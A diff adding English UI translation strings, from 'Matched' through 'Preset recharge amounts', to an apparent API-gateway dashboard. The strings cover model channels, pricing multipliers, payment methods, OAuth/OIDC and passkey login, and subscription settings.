+    "Matched": "Matched",
+    "Matched Tier": "Matched Tier",
+    "Matching Rules": "Matching Rules",
+    "Max Disk Cache Size (MB)": "Max Disk Cache Size (MB)",
+    "Max Entries": "Max Entries",
+    "Max Requests (incl. failures)": "Max Requests (incl. failures)",
+    "Max Requests (including failures)": "Max Requests (including failures)",
+    "Max requests per period": "Max requests per period",
+    "Max Success": "Max Success",
+    "Max successful requests": "Max successful requests",
+    "Max Successful Requests": "Max Successful Requests",
+    "Maximum 1000 characters. Supports Markdown and HTML.": "Maximum 1000 characters. Supports Markdown and HTML.",
+    "Maximum 200 characters": "Maximum 200 characters",
+    "Maximum 500 characters. Supports Markdown and HTML.": "Maximum 500 characters. Supports Markdown and HTML.",
+    "Maximum check-in quota": "Maximum check-in quota",
+    "Maximum quota amount awarded for check-in": "Maximum quota amount awarded for check-in",
+    "maxRequests ≥ 0, maxSuccess ≥ 1, both ≤ 2,147,483,647": "maxRequests ≥ 0, maxSuccess ≥ 1, both ≤ 2,147,483,647",
+    "Memory Hits": "Memory Hits",
+    "Memory Threshold (%)": "Memory Threshold (%)",
+    "Merchant ID": "Merchant ID",
+    "Merchant ID is required": "Merchant ID is required",
+    "Message Priority": "Message Priority",
+    "Metadata": "Metadata",
+    "Midjourney": "Midjourney",
+    "MidjourneyPlus": "MidjourneyPlus",
+    "Min Top-up": "Min Top-up",
+    "Min Top-up:": "Min Top-up:",
+    "MiniMax": "MiniMax",
+    "Minimum check-in quota": "Minimum check-in quota",
+    "Minimum LinuxDO trust level required": "Minimum LinuxDO trust level required",
+    "Minimum quota amount awarded for check-in": "Minimum quota amount awarded for check-in",
+    "Minimum recharge amount in USD": "Minimum recharge amount in USD",
+    "Minimum recharge amount to qualify for this discount.": "Minimum recharge amount to qualify for this discount.",
+    "Minimum top-up (optional)": "Minimum top-up (optional)",
+    "Minimum top-up (USD)": "Minimum top-up (USD)",
+    "Minimum top-up amount must be at least 1": "Minimum top-up amount must be at least 1",
+    "Minimum top-up quantity": "Minimum top-up quantity",
+    "Minimum topup amount: {{amount}}": "Minimum topup amount: {{amount}}",
+    "Minimum Trust Level": "Minimum Trust Level",
+    "Minimum:": "Minimum:",
+    "Minute": "Minute",
+    "minutes": "minutes",
+    "Missing code": "Missing code",
+    "Missing Models": "Missing Models",
+    "Missing user data from Passkey login response": "Missing user data from Passkey login response",
+    "Mistral": "Mistral",
+    "Mode": "Mode",
+    "model": "model",
+    "Model": "Model",
+    "Model Access": "Model Access",
+    "Model Analytics": "Model Analytics",
+    "Model Call Analytics": "Model Call Analytics",
+    "Model context usage": "Model context usage",
+    "Model deleted": "Model deleted",
+    "Model deleted successfully": "Model deleted successfully",
+    "Model deployment service is disabled": "Model deployment service is disabled",
+    "Model Description": "Model Description",
+    "Model disabled successfully": "Model disabled successfully",
+    "Model enabled successfully": "Model enabled successfully",
+    "Model fixed pricing": "Model fixed pricing",
+    "Model Group": "Model Group",
+    "Model Limits": "Model Limits",
+    "Model Mapping": "Model Mapping",
+    "Model Mapping (JSON)": "Model Mapping (JSON)",
+    "Model Mapping must be a JSON object like": "Model Mapping must be a JSON object like",
+    "Model mapping must be valid JSON": "Model mapping must be valid JSON",
+    "Model name": "Model name",
+    "Model Name": "Model Name",
+    "Model Name *": "Model Name *",
+    "Model name is required": "Model name is required",
+    "Model names copied to clipboard": "Model names copied to clipboard",
+    "Model not found": "Model not found",
+    "Model Price": "Model Price",
+    "Model Price Not Configured": "Model Price Not Configured",
+    "Model Pricing": "Model Pricing",
+    "Model pull failed: {{msg}}": "Model pull failed: {{msg}}",
+    "Model ratio": "Model ratio",
+    "Model ratios": "Model ratios",
+    "Model ratios reset successfully": "Model ratios reset successfully",
+    "Model Regex": "Model Regex",
+    "Model Regex (one per line)": "Model Regex (one per line)",
+    "Model to use for testing": "Model to use for testing",
+    "Model to use when testing channel connectivity": "Model to use when testing channel connectivity",
+    "Model Version *": "Model Version *",
+    "model(s) selected out of": "model(s) selected out of",
+    "model(s)? This action cannot be undone.": "model(s)? This action cannot be undone.",
+    "models": "models",
+    "Models": "Models",
+    "Models *": "Models *",
+    "Models & Groups": "Models & Groups",
+    "Models appended successfully": "Models appended successfully",
+    "Models are required": "Models are required",
+    "Models directory": "Models directory",
+    "Models fetched successfully": "Models fetched successfully",
+    "Models filled to form": "Models filled to form",
+    "Models listed here will not automatically append or remove -thinking / -nothinking suffixes.": "Models listed here will not automatically append or remove -thinking / -nothinking suffixes.",
+    "Models not in list, may fail to invoke": "Models not in list, may fail to invoke",
+    "Models that are being used but not configured in the system": "Models that are being used but not configured in the system",
+    "Models updated successfully": "Models updated successfully",
+    "Modify existing subscription plan configuration": "Modify existing subscription plan configuration",
+    "Module availability": "Module availability",
+    "MokaAI": "MokaAI",
+    "Monitor": "Monitor",
+    "Monitoring & Alerts": "Monitoring & Alerts",
+    "Month": "Month",
+    "Monthly": "Monthly",
+    "months": "months",
+    "Moonshot": "Moonshot",
+    "More": "More",
+    "more mapping": "more mapping",
+    "More templates...": "More templates...",
+    "More...": "More...",
+    "Move": "Move",
+    "Move affiliate rewards to your main balance": "Move affiliate rewards to your main balance",
+    "Move Header": "Move Header",
+    "ms": "ms",
+    "Multi-key channel: Keys will be": "Multi-key channel: Keys will be",
+    "Multi-Key Management": "Multi-Key Management",
+    "Multi-Key Mode (multiple keys, one channel)": "Multi-Key Mode (multiple keys, one channel)",
+    "Multi-Key Strategy": "Multi-Key Strategy",
+    "Multi-key: Polling rotation": "Multi-key: Polling rotation",
+    "Multi-key: Random rotation": "Multi-key: Random rotation",
+    "Multi-region deployment for stable global access": "Multi-region deployment for stable global access",
+    "Multi-user management with flexible permission allocation": "Multi-user management with flexible permission allocation",
+    "Multiplier": "Multiplier",
+    "Multiplier applied when": "Multiplier applied when",
+    "Multiplier applied when {{userGroup}} uses {{targetGroup}}": "Multiplier applied when {{userGroup}} uses {{targetGroup}}",
+    "Multiplier for audio inputs.": "Multiplier for audio inputs.",
+    "Multiplier for audio outputs.": "Multiplier for audio outputs.",
+    "Multiplier for completion tokens.": "Multiplier for completion tokens.",
+    "Multiplier for image processing.": "Multiplier for image processing.",
+    "Multiplier for prompt tokens.": "Multiplier for prompt tokens.",
+    "Multipliers for recharge pricing based on user groups.": "Multipliers for recharge pricing based on user groups.",
+    "Must be a valid URL": "Must be a valid URL",
+    "Must be at least 8 characters": "Must be at least 8 characters",
+    "My Subscriptions": "My Subscriptions",
+    "my-status": "my-status",
+    "MySQL detected": "MySQL detected",
+    "MySQL is a production-ready relational database. Keep your credentials secure.": "MySQL is a production-ready relational database. Keep your credentials secure.",
+    "MySQL is production ready. Ensure automated backups and a dedicated user with the minimal required privileges are configured.": "MySQL is production ready. Ensure automated backups and a dedicated user with the minimal required privileges are configured.",
+    "N/A": "N/A",
+    "Name": "Name",
+    "Name *": "Name *",
+    "Name for this redemption code (1-20 characters)": "Name for this redemption code (1-20 characters)",
+    "Name is available": "Name is available",
+    "Name is not available": "Name is not available",
+    "Name must be between {{min}} and {{max}} characters": "Name must be between {{min}} and {{max}} characters",
+    "Name Rule": "Name Rule",
+    "Name Suffix": "Name Suffix",
+    "name@example.com": "name@example.com",
+    "Native format": "Native format",
+    "Need a code?": "Need a code?",
+    "Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.": "Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.",
+    "Nested JSON: source group →": "Nested JSON: source group →",
+    "Network proxy for this channel (supports socks5 protocol)": "Network proxy for this channel (supports socks5 protocol)",
+    "Never": "Never",
+    "Never expires": "Never expires",
+    "New API": "New API",
+    "New API &lt;noreply@example.com&gt;": "New API &lt;noreply@example.com&gt;",
+    "New API Project Repository:": "New API Project Repository:",
+    "New Format Template": "New Format Template",
+    "New Group": "New Group",
+    "New Models ({{count}})": "New Models ({{count}})",
+    "New name will be:": "New name will be:",
+    "New password": "New password",
+    "New Password": "New Password",
+    "New password must be different from current password": "New password must be different from current password",
+    "New User Quota": "New User Quota",
+    "New version available: {{version}}": "New version available: {{version}}",
+    "NewAPI": "NewAPI",
+    "Next": "Next",
+    "Next branch": "Next branch",
+    "Next page": "Next page",
+    "Next reset": "Next reset",
+    "No About Content Set": "No About Content Set",
+    "No Active": "No Active",
+    "No additional type-specific settings for this channel type.": "No additional type-specific settings for this channel type.",
+    "No amount options configured. Add amounts below to get started.": "No amount options configured. Add amounts below to get started.",
+    "No announcements at this time": "No announcements at this time",
+    "No announcements yet. Click \"Add Announcement\" to create one.": "No announcements yet. Click \"Add Announcement\" to create one.",
+    "No API Domains yet. Click \"Add API\" to create one.": "No API Domains yet. Click \"Add API\" to create one.",
+    "No API keys available. Create your first API key to get started.": "No API keys available. Create your first API key to get started.",
+    "No API Keys Found": "No API Keys Found",
+    "No API routes configured": "No API routes configured",
+    "No available models": "No available models",
+    "No available Web chat links": "No available Web chat links",
+    "No backup": "No backup",
+    "No billing records found": "No billing records found",
+    "No Change": "No Change",
+    "No changes": "No changes",
+    "No changes made": "No changes made",
+    "No changes to save": "No changes to save",
+    "No channel selected": "No channel selected",
+    "No channels available. Create your first channel to get started.": "No channels available. Create your first channel to get started.",
+    "No channels found": "No channels found",
+    "No Channels Found": "No Channels Found",
+    "No channels selected": "No channels selected",
+    "No chat presets configured. Click \"Add chat preset\" to get started.": "No chat presets configured. Click \"Add chat preset\" to get started.",
+    "No chat presets match your search": "No chat presets match your search",
+    "No conflict entries available.": "No conflict entries available.",
+    "No conflicts match your search.": "No conflicts match your search.",
+    "No console output": "No console output",
+    "No containers": "No containers",
+    "No custom OAuth providers configured yet.": "No custom OAuth providers configured yet.",
+    "No data": "No data",
+    "No Data": "No Data",
+    "No data available": "No data available",
+    "No deployments available. Create one to get started.": "No deployments available. Create one to get started.",
+    "No Deployments Found": "No Deployments Found",
+    "No discount tiers configured. Click \"Add discount tier\" to get started.": "No discount tiers configured. Click \"Add discount tier\" to get started.",
+    "No duplicate keys found": "No duplicate keys found",
+    "No enabled tokens available": "No enabled tokens available",
+    "No endpoints configured. Switch to JSON mode or add rows to define endpoints.": "No endpoints configured. Switch to JSON mode or add rows to define endpoints.",
+    "No FAQ entries available": "No FAQ entries available",
+    "No FAQ entries yet. Click \"Add FAQ\" to create one.": "No FAQ entries yet. Click \"Add FAQ\" to create one.",
+    "No files match the accepted types.": "No files match the accepted types.",
+    "No group found.": "No group found.",
+    "No group-based rate limits configured. Click \"Add group\" to get started.": "No group-based rate limits configured. Click \"Add group\" to get started.",
+    "No groups match your search": "No groups match your search",
+    "No header overrides configured.": "No header overrides configured.",
+    "No Inviter": "No Inviter",
+    "No keys found": "No keys found",
+    "No log entries matched the selected time.": "No log entries matched the selected time.",
+    "No logs": "No logs",
+    "No Logs Found": "No Logs Found",
+    "No mappings configured. Click \"Add Row\" to get started.": "No mappings configured. Click \"Add Row\" to get started.",
+    "No matches found": "No matches found",
+    "No matching results": "No matching results",
+    "No messages yet": "No messages yet",
+    "No missing models found.": "No missing models found.",
+    "No model found.": "No model found.",
+    "No model mappings configured. Click \"Add Mapping\" to get started.": "No model mappings configured. Click \"Add Mapping\" to get started.",
+    "No models available": "No models available",
+    "No models available in this category": "No models available in this category",
+    "No models available. Create your first model to get started.": "No models available. Create your first model to get started.",
+    "No models fetched from upstream": "No models fetched from upstream",
+    "No models fetched yet.": "No models fetched yet.",
+    "No models found": "No models found",
+    "No Models Found": "No Models Found",
+    "No models found.": "No models found.",
+    "No models match your current filters.": "No models match your current filters.",
+    "No models match your search": "No models match your search",
+    "No models selected": "No models selected",
+    "No models to add": "No models to add",
+    "No models to copy": "No models to copy",
+    "No models to remove": "No models to remove",
+    "No new models to add": "No new models to add",
+    "No parameter overrides configured.": "No parameter overrides configured.",
+    "No payment methods available. Please contact administrator.": "No payment methods available. Please contact administrator.",
+    "No payment methods configured": "No payment methods configured",
+    "No payment methods configured. Click \"Add method\" or use templates to get started.": "No payment methods configured. Click \"Add method\" or use templates to get started.",
+    "No payment methods match your search": "No payment methods match your search",
+    "No plans available": "No plans available",
+    "No preference": "No preference",
+    "No prefill groups yet": "No prefill groups yet",
+    "No price differences found": "No price differences found",
+    "No processable upstream model updates for this channel": "No processable upstream model updates for this channel",
+    "No products configured. Click \"Add product\" to get started.": "No products configured. Click \"Add product\" to get started.",
+    "No products match your search": "No products match your search",
+    "No providers available": "No providers available",
+    "No Quota": "No Quota",
+    "No ratio differences found": "No ratio differences found",
+    "No records found. Try adjusting your filters.": "No records found. Try adjusting your filters.",
+    "No redemption codes available. Create your first redemption code to get started.": "No redemption codes available. Create your first redemption code to get started.",
+    "No Redemption Codes Found": "No Redemption Codes Found",
+    "No related models available for this channel type": "No related models available for this channel type",
+    "No release notes provided.": "No release notes provided.",
+    "No Reset": "No Reset",
+    "No restriction": "No restriction",
+    "No results for \"{{query}}\". Try adjusting your search or filters.": "No results for \"{{query}}\". Try adjusting your search or filters.",
+    "No results found": "No results found",
+    "No results found.": "No results found.",
+    "No Retry": "No Retry",
+    "No rules yet": "No rules yet",
+    "No rules yet. Add a group below to get started.": "No rules yet. Add a group below to get started.",
+    "No status code mappings configured.": "No status code mappings configured.",
+    "No subscription plans yet": "No subscription plans yet",
+    "No subscription records": "No subscription records",
+    "No Sync": "No Sync",
+    "No system announcements": "No system announcements",
+    "No token found.": "No token found.",
+    "No tools configured": "No tools configured",
+    "No Upgrade": "No Upgrade",
+    "No upstream price differences found": "No upstream price differences found",
+    "No upstream ratio differences found": "No upstream ratio differences found",
+    "No Uptime Kuma groups yet. Click \"Add Group\" to create one.": "No Uptime Kuma groups yet. Click \"Add Group\" to create one.",
+    "No uptime monitoring configured": "No uptime monitoring configured",
+    "No usage logs available. Logs will appear here once API calls are made.": "No usage logs available. Logs will appear here once API calls are made.",
+    "No user information available": "No user information available",
+    "No user selected": "No user selected",
+    "No users available. Try adjusting your search or filters.": "No users available. Try adjusting your search or filters.",
+    "No Users Found": "No Users Found",
+    "Node Name": "Node Name",
+    "Non-stream": "Non-stream",
+    "None": "None",
+    "noreply@example.com": "noreply@example.com",
+    "Normalized:": "Normalized:",
+    "Not available": "Not available",
+    "Not backed up": "Not backed up",
+    "Not bound": "Not bound",
+    "Not Set": "Not Set",
+    "Not set yet": "Not set yet",
+    "Not Started": "Not Started",
+    "Not Submitted": "Not Submitted",
+    "Not tested": "Not tested",
+    "Not used yet": "Not used yet",
+    "Notice": "Notice",
+    "Notification Email": "Notification Email",
+    "Notification Method": "Notification Method",
+    "Notifications": "Notifications",
+    "Number of codes to create": "Number of codes to create",
+    "Number of keys to create": "Number of keys to create",
+    "Number of times to retry failed requests (0-10)": "Number of times to retry failed requests (0-10)",
+    "Number of tokens per unit quota": "Number of tokens per unit quota",
+    "Number of users invited": "Number of users invited",
+    "OAuth Client ID": "OAuth Client ID",
+    "OAuth Client Secret": "OAuth Client Secret",
+    "OAuth failed": "OAuth failed",
+    "OAuth Integrations": "OAuth Integrations",
+    "OAuth start failed": "OAuth start failed",
+    "Observability": "Observability",
+    "Obtain the API key, merchant ID, and RSA key pair from the Waffo dashboard, and configure the callback URL.": "Obtain the API key, merchant ID, and RSA key pair from the Waffo dashboard, and configure the callback URL.",
+    "Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook": "Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook",
+    "of": "of",
+    "of 3:": "of 3:",
+    "off": "off",
+    "Official": "Official",
+    "Official documentation": "Official documentation",
+    "Official Repository": "Official Repository",
+    "Official Sync": "Official Sync",
+    "OhMyGPT": "OhMyGPT",
+    "OIDC": "OIDC",
+    "OIDC Client ID": "OIDC Client ID",
+    "OIDC Client Secret": "OIDC Client Secret",
+    "OIDC configuration fetched successfully": "OIDC configuration fetched successfully",
+    "OIDC discovery URL. Click \"Auto-discover\" to fetch endpoints automatically.": "OIDC discovery URL. Click \"Auto-discover\" to fetch endpoints automatically.",
+    "OIDC endpoints discovered successfully": "OIDC endpoints discovered successfully",
+    "Old Format Template": "Old Format Template",
+    "Old format: Direct override. New format: Supports conditional judgment and custom JSON operations.": "Old format: Direct override. New format: Supports conditional judgment and custom JSON operations.",
+    "Ollama": "Ollama",
+    "Ollama Models": "Ollama Models",
+    "One API": "One API",
+    "One domain per line": "One domain per line",
+    "One domain per line (only used when domain restriction is enabled)": "One domain per line (only used when domain restriction is enabled)",
+    "One IP or CIDR range per line": "One IP or CIDR range per line",
+    "One IP per line (empty for no restriction)": "One IP per line (empty for no restriction)",
+    "one keyword per line": "one keyword per line",
+    "Online payment is not enabled. Please contact the administrator.": "Online payment is not enabled. Please contact the administrator.",
+    "Online topup is not enabled. Please use redemption code or contact administrator.": "Online topup is not enabled. Please use redemption code or contact administrator.",
+    "Only allow specific email domains": "Only allow specific email domains",
+    "Only available for admins. When enabled, you will receive a summary notification via your selected method when the scheduled model check detects upstream model changes or check failures.": "Only available for admins. When enabled, you will receive a summary notification via your selected method when the scheduled model check detects upstream model changes or check failures.",
+    "Only selected fields will be overwritten. You can re-run the sync wizard if new conflicts appear.": "Only selected fields will be overwritten. You can re-run the sync wizard if new conflicts appear.",
+    "Only successful requests": "Only successful requests",
+    "Only successful requests count toward this limit.": "Only successful requests count toward this limit.",
+    "Only the last {{value}} log files will be retained; the rest will be deleted.": "Only the last {{value}} log files will be retained; the rest will be deleted.",
+    "Oops! Page Not Found!": "Oops! Page Not Found!",
+    "Oops! Something went wrong": "Oops! Something went wrong",
+    "Open": "Open",
+    "Open authorization page": "Open authorization page",
+    "Open CC Switch": "Open CC Switch",
+    "Open in chat": "Open in chat",
+    "Open in new tab": "Open in new tab",
+    "Open in New Tab": "Open in New Tab",
+    "Open menu": "Open menu",
+    "Open release": "Open release",
+    "Open the io.net console API Keys page": "Open the io.net console API Keys page",
+    "Open theme settings": "Open theme settings",
+    "OpenAI": "OpenAI",
+    "OpenAI Compatible": "OpenAI Compatible",
+    "OpenAI Organization": "OpenAI Organization",
+    "OpenAI Organization ID (optional)": "OpenAI Organization ID (optional)",
+    "OpenAI, Anthropic, etc.": "OpenAI, Anthropic, etc.",
+    "OpenAI, Anthropic, Google, etc.": "OpenAI, Anthropic, Google, etc.",
+    "OpenAIMax": "OpenAIMax",
+    "Opened authorization page": "Opened authorization page",
+    "OpenRouter": "OpenRouter",
+    "opens in an external client. Trigger it from the sidebar or API key actions to launch the configured application.": "opens in an external client. Trigger it from the sidebar or API key actions to launch the configured application.",
+    "Operation failed": "Operation failed",
+    "Operator Admin": "Operator Admin",
+    "Optimize system for self-hosted single-user usage": "Optimize system for self-hosted single-user usage",
+    "Optimized network architecture ensures millisecond response times": "Optimized network architecture ensures millisecond response times",
+    "Optional callback override. Leave blank to use server address": "Optional callback override. Leave blank to use server address",
+    "Optional icon identifier for the login button": "Optional icon identifier for the login button",
+    "Optional JSON policy to restrict access based on user info fields": "Optional JSON policy to restrict access based on user info fields",
+    "Optional minimum recharge amount for this method.": "Optional minimum recharge amount for this method.",
+    "Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as": "Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as",
+    "Optional notes about this channel": "Optional notes about this channel",
+    "Optional notes about when to use this group": "Optional notes about when to use this group",
+    "Optional ratio used when upstream cache hits occur.": "Optional ratio used when upstream cache hits occur.",
+    "Optional settings for advanced container configuration.": "Optional settings for advanced container configuration.",
+    "Optional supplementary information (max 100 characters)": "Optional supplementary information (max 100 characters)",
+    "Optional tag for grouping channels": "Optional tag for grouping channels",
+    "Opus Model": "Opus Model",
+    "Or continue with": "Or continue with",
+    "Or enter this key manually:": "Or enter this key manually:",
+    "Order completed successfully": "Order completed successfully",
+    "Order History": "Order History",
+    "Order Payment Method": "Order Payment Method",
+    "org-...": "org-...",
+    "Original Model": "Original Model",
+    "Other": "Other",
+    "Output": "Output",
+    "Output price": "Output price",
+    "Output tokens": "Output tokens",
+    "Output Tokens": "Output Tokens",
+    "override": "override",
+    "Override": "Override",
+    "Override Anthropic headers, defaults, and thinking adapter behavior": "Override Anthropic headers, defaults, and thinking adapter behavior",
+    "Override auto-discovered endpoint": "Override auto-discovered endpoint",
+    "Override request headers": "Override request headers",
+    "Override request headers (JSON format)": "Override request headers (JSON format)",
+    "Override request parameters (JSON format)": "Override request parameters (JSON format)",
+    "Override request parameters. Cannot override": "Override request parameters. Cannot override",
+    "Override the endpoint used for testing. Leave empty to auto detect.": "Override the endpoint used for testing. Leave empty to auto detect.",
+    "overrides for matching model prefix.": "overrides for matching model prefix.",
+    "Overview": "Overview",
+    "Overwritten": "Overwritten",
+    "Page": "Page",
+    "Page {{current}} of {{total}}": "Page {{current}} of {{total}}",
+    "PaLM": "PaLM",
+    "Pan": "Pan",
+    "Param Override": "Param Override",
+    "Parameter Override": "Parameter Override",
+    "Parameter Override Template (JSON)": "Parameter Override Template (JSON)",
+    "Parameter override template must be a JSON object": "Parameter override template must be a JSON object",
+    "parameter.": "parameter.",
+    "Parameters": "Parameters",
+    "Parsed {{count}} service account file(s)": "Parsed {{count}} service account file(s)",
+    "Partial Submission": "Partial Submission",
+    "Pass Headers": "Pass Headers",
+    "Pass request body directly to upstream": "Pass request body directly to upstream",
+    "Pass Through Body": "Pass Through Body",
+    "Pass through the anthropic-beta header for beta features": "Pass through the anthropic-beta header for beta features",
+    "Pass through the include field for usage obfuscation": "Pass through the include field for usage obfuscation",
+    "Pass through the inference_geo field for Claude data residency region control": "Pass through the inference_geo field for Claude data residency region control",
+    "Pass through the inference_geo field for geographic routing": "Pass through the inference_geo field for geographic routing",
+    "Pass through the safety_identifier field": "Pass through the safety_identifier field",
+    "Pass through the service_tier field": "Pass through the service_tier field",
+    "Pass through the speed field for Claude inference speed mode control": "Pass through the speed field for Claude inference speed mode control",
+    "Pass-Through": "Pass-Through",
+    "Passkey": "Passkey",
+    "Passkey Authentication": "Passkey Authentication",
+    "Passkey is not available in this browser": "Passkey is not available in this browser",
+    "Passkey is not supported in this environment": "Passkey is not supported in this environment",
+    "Passkey is not supported on this device": "Passkey is not supported on this device",
+    "Passkey is not supported on this device.": "Passkey is not supported on this device.",
+    "Passkey Login": "Passkey Login",
+    "Passkey login failed": "Passkey login failed",
+    "Passkey login was cancelled": "Passkey login was cancelled",
+    "Passkey login was cancelled or timed out": "Passkey login was cancelled or timed out",
+    "Passkey not supported on this device": "Passkey not supported on this device",
+    "Passkey registered successfully": "Passkey registered successfully",
+    "Passkey registration was cancelled": "Passkey registration was cancelled",
+    "Passkey removed successfully": "Passkey removed successfully",
+    "Passkey reset successfully": "Passkey reset successfully",
+    "Password": "Password",
+    "Password / Access Token": "Password / Access Token",
+    "Password changed successfully": "Password changed successfully",
+    "Password copied to clipboard: {{password}}": "Password copied to clipboard: {{password}}",
+    "Password has been copied to clipboard": "Password has been copied to clipboard",
+    "Password Login": "Password Login",
+    "Password must be at least 8 characters": "Password must be at least 8 characters",
+    "Password must be at least 8 characters long": "Password must be at least 8 characters long",
+    "Password Registration": "Password Registration",
+    "Password reset and copied to clipboard: {{password}}": "Password reset and copied to clipboard: {{password}}",
+    "Password reset: {{password}}": "Password reset: {{password}}",
+    "Passwords do not match": "Passwords do not match",
+    "Paste the full callback URL (includes code & state)": "Paste the full callback URL (includes code & state)",
+    "Path": "Path",
+    "Path Regex (one per line)": "Path Regex (one per line)",
+    "Path:": "Path:",
+    "Pay": "Pay",
+    "Pay-as-you-go with real-time usage monitoring": "Pay-as-you-go with real-time usage monitoring",
+    "Payment Channel": "Payment Channel",
+    "Payment Gateway": "Payment Gateway",
+    "Payment initiated": "Payment initiated",
+    "Payment Method": "Payment Method",
+    "Payment method name": "Payment method name",
+    "Payment method name is required": "Payment method name is required",
+    "Payment method type": "Payment method type",
+    "Payment method type is required": "Payment method type is required",
+    "Payment methods": "Payment methods",
+    "Payment Methods": "Payment Methods",
+    "Payment page opened": "Payment page opened",
+    "Payment request failed": "Payment request failed",
+    "Payment return URL": "Payment return URL",
+    "Pending": "Pending",
+    "per": "per",
+    "Per 1K tokens": "Per 1K tokens",
+    "Per 1M tokens": "Per 1M tokens",
+    "per request": "per request",
+    "Per request": "Per request",
+    "Per Request": "Per Request",
+    "Per-call": "Per-call",
+    "Per-feature metered windows split by model or capability.": "Per-feature metered windows split by model or capability.",
+    "Per-request (fixed price)": "Per-request (fixed price)",
+    "Per-token": "Per-token",
+    "Per-token (ratio based)": "Per-token (ratio based)",
+    "Percentage:": "Percentage:",
+    "Performance": "Performance",
+    "Performance Monitor": "Performance Monitor",
+    "Performance Settings": "Performance Settings",
+    "Periodically check for upstream model changes": "Periodically check for upstream model changes",
+    "Periodically send ping frames to keep streaming connections active.": "Periodically send ping frames to keep streaming connections active.",
+    "Permanently delete your account and all data": "Permanently delete your account and all data",
+    "Permit Passkey registration on non-HTTPS origins (only recommended for development)": "Permit Passkey registration on non-HTTPS origins (only recommended for development)",
+    "Perplexity": "Perplexity",
+    "Persist your data file": "Persist your data file",
+    "Personal area": "Personal area",
+    "Personal Center Area": "Personal Center Area",
+    "Personal info settings": "Personal info settings",
+    "Personal Settings": "Personal Settings",
+    "Personal settings and profile management.": "Personal settings and profile management.",
+    "Personal use": "Personal use",
+    "Personal use mode": "Personal use mode",
+    "Pick a date": "Pick a date",
+    "Ping Interval (seconds)": "Ping Interval (seconds)",
+    "Plan": "Plan",
+    "Plan Name": "Plan Name",
+    "Plan Subtitle": "Plan Subtitle",
+    "Plan Title": "Plan Title",
+    "Planned maintenance on Friday at 22:00 UTC...": "Planned maintenance on Friday at 22:00 UTC...",
+    "Platform": "Platform",
+    "Playground": "Playground",
+    "Playground and chat functions": "Playground and chat functions",
+    "Playground experiments and live conversations.": "Playground experiments and live conversations.",
+    "Please agree to the legal terms first": "Please agree to the legal terms first",
+    "Please complete the security check to continue.": "Please complete the security check to continue.",
+    "Please confirm that you understand the consequences": "Please confirm that you understand the consequences",
+    "Please enable io.net model deployment service and configure an API key in System Settings.": "Please enable io.net model deployment service and configure an API key in System Settings.",
+    "Please enable Two-factor Authentication or Passkey before proceeding": "Please enable Two-factor Authentication or Passkey before proceeding",
+    "Please enter a name": "Please enter a name",
+    "Please enter a new password": "Please enter a new password",
+    "Please enter a redemption code": "Please enter a redemption code",
+    "Please enter a valid duration": "Please enter a valid duration",
+    "Please enter a valid email address": "Please enter a valid email address",
+    "Please enter a valid number": "Please enter a valid number",
+    "Please enter a Well-Known URL first": "Please enter a Well-Known URL first",
+    "Please enter amount": "Please enter amount",
+    "Please enter an administrator username": "Please enter an administrator username",
+    "Please enter API key first": "Please enter API key first",
+    "Please enter chat client name": "Please enter chat client name",
+    "Please enter email and verification code": "Please enter email and verification code",
+    "Please enter keys first": "Please enter keys first",
+    "Please enter model name": "Please enter model name",
+    "Please enter plan title": "Please enter plan title",
+    "Please enter the authentication code.": "Please enter the authentication code.",
+    "Please enter the URL": "Please enter the URL",
+    "Please enter the verification code": "Please enter the verification code",
+    "Please enter your current password": "Please enter your current password",
+    "Please enter your email": "Please enter your email",
+    "Please enter your email first": "Please enter your email first",
+    "Please enter your verification code": "Please enter your verification code",
+    "Please enter your verification code or backup code": "Please enter your verification code or backup code",
+    "Please fix JSON errors before saving": "Please fix JSON errors before saving",
+    "Please log in with the appropriate credentials": "Please log in with the appropriate credentials",
+    "Please manually copy and open the authorization link": "Please manually copy and open the authorization link",
+    "Please select a container": "Please select a container",
+    "Please select a payment method": "Please select a payment method",
+    "Please select a primary model": "Please select a primary model",
+    "Please select a subscription plan": "Please select a subscription plan",
+    "Please select at least one channel": "Please select at least one channel",
+    "Please select at least one model": "Please select at least one model",
+    "Please select items to delete": "Please select items to delete",
+    "Please Select user groups that can access this channel.": "Please Select user groups that can access this channel.",
+    "Please set Ollama API Base URL first": "Please set Ollama API Base URL first",
+    "Please try again later.": "Please try again later.",
+    "Please upload key file(s)": "Please upload key file(s)",
+    "Please wait a moment, human check is initializing...": "Please wait a moment, human check is initializing...",
+    "Policy JSON": "Policy JSON",
+    "Polling": "Polling",
+    "Polling mode requires Redis and memory cache, otherwise performance will be significantly degraded": "Polling mode requires Redis and memory cache, otherwise performance will be significantly degraded",
+    "Poor": "Poor",
+    "Port": "Port",
+    "Port must be a positive integer": "Port must be a positive integer",
+    "Post Delta": "Post Delta",
+    "PostgreSQL detected": "PostgreSQL detected",
+    "PostgreSQL offers advanced reliability and data integrity for production workloads.": "PostgreSQL offers advanced reliability and data integrity for production workloads.",
+    "PostgreSQL offers strong reliability guarantees. Double check your maintenance window and retention policies before going live.": "PostgreSQL offers strong reliability guarantees. Double check your maintenance window and retention policies before going live.",
+    "Powerful API Management Platform": "Powerful API Management Platform",
+    "Pre-Consume for Free Models": "Pre-Consume for Free Models",
+    "Pre-consumed": "Pre-consumed",
+    "Pre-Consumed Quota": "Pre-Consumed Quota",
+    "Preference saved as {{pref}}, but no active subscription. Wallet will be used automatically.": "Preference saved as {{pref}}, but no active subscription. Wallet will be used automatically.",
+    "Preferences": "Preferences",
+    "Prefill Group Management": "Prefill Group Management",
+    "Prefill Groups": "Prefill Groups",
+    "Prefill groups help you keep complex configurations in sync.": "Prefill groups help you keep complex configurations in sync.",
+    "Prefix": "Prefix",
+    "Prefix Match": "Prefix Match",
+    "Prefix used when displaying prices": "Prefix used when displaying prices",
+    "Premium chat models": "Premium chat models",
+    "Preparing chat keys…": "Preparing chat keys…",
+    "Preparing your chat link, please try again in a moment.": "Preparing your chat link, please try again in a moment.",
+    "Preparing your chat link…": "Preparing your chat link…",
+    "Prepend": "Prepend",
+    "Preset recharge amounts (JSON array)": "Preset recharge amounts (JSON array)",
+    "Preset recharge amounts displayed to users": "Preset recharge amounts displayed to users",
